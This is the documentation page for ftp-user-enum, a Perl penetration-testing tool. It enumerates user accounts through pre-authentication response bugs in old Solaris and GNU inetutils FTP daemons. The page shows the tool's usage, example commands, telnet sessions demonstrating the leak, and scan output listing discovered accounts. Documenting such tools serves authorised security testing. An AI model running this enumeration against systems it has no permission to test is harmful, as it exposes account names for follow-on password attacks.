ftp-user-enum

Username guessing tool for use against the default Solaris ftp service and GNU inetutils ftpd.  Recent changes are detailed in the [CHANGELOG.](http://pentestmonkey.net/tools/tools/ftp-user-enum/CHANGELOG)

Download ftp-user-enum v1.0 [here](http://pentestmonkey.net/tools/ftp-user-enum/ftp-user-enum-1.0.tar.gz).

SHA1sum: 2fbd86dba9f701627d415ed76100b2768b271862

MD51sum: c19ec3eb1eab6282a16514b51eb5f1c6

User documentation are also avaialble in [PDF](http://pentestmonkey.net/tools/ftp-user-enum/ftp-user-enum-user-docs.pdf) format.

ftp-user-enum User Documentation

Contents

* Overview
* Installation
* Usage
* Some Examples
  + Against Solaris in.ftpd
  + Against GNU inetutils ftpd
* License

Overview

ftp-user-enum is a tool for enumerating OS-level user accounts via the ftp service. As of release v1.0 it is known to work against the default Solaris in.ftpd and GNU inetutils ftpd. It should be fairly simple to modify to script to work against other vulnerable ftp servers such as:

|  |  |
| --- | --- |
| BlackMoon FTP Server | http://xforce.iss.net/xforce/xfdb/12046 |
| ArGoSoft FTP Server | http://xforce.iss.net/xforce/xfdb/18721 |
| MegaBrowser FTP Server | http://www.securityfocus.com/archive/1/323813 |

Installation

ftp-user-enum is just a stand alone PERL script, so installation is as simple as copying it to your path (e.g. /usr/local/bin). It has only been tested under Linux so far.

It depends on the following PERL modules which you may need to install them first:

* Socket
* IO::Handle
* IO::Select
* IO::Socket::INET
* Getopt::Std

If you have PERL installed, you should be able to install the modules from CPAN:

# perl -MCPAN -e shell

cpan> install Getopt::Std

Usage

ftp-user-enum simply needs to be passed a list of users and at least one target running an ftp service. Here’s the usage message:

Usage: ftp-user-enum.pl [options] (-u username|-U file-of-usernames) (-t host|-T file-of-targets)

Enumerates users via FTP daemon specific bugs:

- Solaris FTPd responds differently to "CWD ~user" and "CWD ~nosuchuser" commands

- GNU Inetutils responds differently "USER user" and "USER nosuchuser" commands

options are:

-m n Maximum number of resolver processes (default: 5)

-u user Check if user exists on remote system

-U file File of usernames to check via ftp service

-M mode Mode for enumerating users: "sol" for Solaris FTPd or

"iu" GNU Inetutils ftpd. Default (default: sol)

-t host Server host running ftp service

-T file File of hostnames running the ftp service

-p port TCP port on which ftp service runs (default: 21)

-d Debugging output

-t n Wait a maximum of n seconds for reply (default: 15)

-v Verbose

-h This help message

Also see ftp-user-enum-user-docs.pdf in the ftp-user-enum tar ball.

Examples:

1) Enumerate users on a vulnerable Solaris host:

$ ftp-user-enum.pl -M sol -U users.txt -t 10.0.0.1

2) Enumerate users on a list of hosts running vulnerable Inetutils FTPd:

$ ftp-user-enum.pl -M iu -U users.txt -T ips.txt

Some Examples

For the examples below we need a list of potential usernames. The following output demostrates the format for this list:

$ head users.txt

root

bin

daemon

adm

lp

sync

shutdown

halt

mail

news

Against Solaris in.ftpd

Vulnerable versions of in.ftpd return different responses to the CWD for home directories which exist and those that don’t. CWD commands can be issued before authentication:

$ telnet 10.0.0.1 21

Trying 10.0.0.1...

Connected to 10.0.0.1.

Escape character is '^]'.

220 test FTP server (SunOS 5.7) ready.

CWD ~root

530 Please login with USER and PASS.

CWD ~notexist

530 Please login with USER and PASS.

550 Unknown user name after ~

This vulnerability is documented at: http://www.securityfocus.com/bid/2564/info

Below is an example showing how to use ftp-user-enum to enumerate users using a vulnerable solaris FTP daemon:

$ ftp-user-enum.pl -U users.txt -t 10.0.0.1

Starting ftp-user-enum v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum )

----------------------------------------------------------

| Scan Information |

----------------------------------------------------------

Mode ..................... sol

Worker Processes ......... 5

Usernames file ........... users.txt

Target count ............. 1

Username count ........... 149

Target TCP port .......... 21

Query timeout ............ 15 secs

######## Scan started at Sat Mar 17 16:23:35 2007 #########

root@10.0.0.1: root

bin@10.0.0.1: bin

daemon@10.0.0.1: daemon

adm@10.0.0.1: adm

lp@10.0.0.1: lp

uucp@10.0.0.1: uucp

nobody@10.0.0.1: nobody

ftp@10.0.0.1: ftp

######## Scan completed at Sat Mar 17 16:24:06 2007 #########

8 results.

149 queries in 31 seconds (4.8 queries / sec)

Against GNU inetutils ftpd

Vulnerable versions of GNU inetutils ftpd respond to the USER command differently depending on whether it is used with a username that exists or one that doesn’t exist:

$ telnet 10.0.0.2 21

Trying 10.0.0.2...

Connected to 10.0.0.2.

Escape character is '^]'.

220 localhost.localdomain FTP server (GNU inetutils 1.4.2) ready.

USER root

331 Password required for root.

USER notexist

530 44

Here’s an example showing how to use ftp-user-enum to enumerate users using a vulnerable GNU inetutils daemon:

$ ./ftp-user-enum.pl -M iu -U users.txt -t 10.0.0.2

Starting ftp-user-enum v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum )

----------------------------------------------------------

| Scan Information |

----------------------------------------------------------

Mode ..................... iu

Worker Processes ......... 5

Usernames file ........... users.txt

Target count ............. 1

Username count ........... 149

Target TCP port .......... 21

Query timeout ............ 15 secs

######## Scan started at Sat Mar 17 16:29:28 2007 #########

lp@10.0.0.2: lp

sync@10.0.0.2: sync

mail@10.0.0.2: mail

root@10.0.0.2: root

news@10.0.0.2: news

uucp@10.0.0.2: uucp

man@10.0.0.2: man

user@10.0.0.2: user

postgres@10.0.0.2: postgres

nobody@10.0.0.2: nobody

sshd@10.0.0.2: sshd

games@10.0.0.2: games

bin@10.0.0.2: bin

daemon@10.0.0.2: daemon

######## Scan completed at Sat Mar 17 16:29:29 2007 #########

14 results.

149 queries in 1 seconds (149.0 queries / sec)

Performance note: The FTP server tries to do a reverse lookup on the IP address of the client. If the lookup is slow, your scan will be slow too.

License

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

In all other respects the GPL version 2 applies:

This program is free software; you can redistribute it and/or modify

it under the terms of the GNU General Public License version 2 as

published by the Free Software Foundation.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License along

with this program; if not, write to the Free Software Foundation, Inc.,

51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.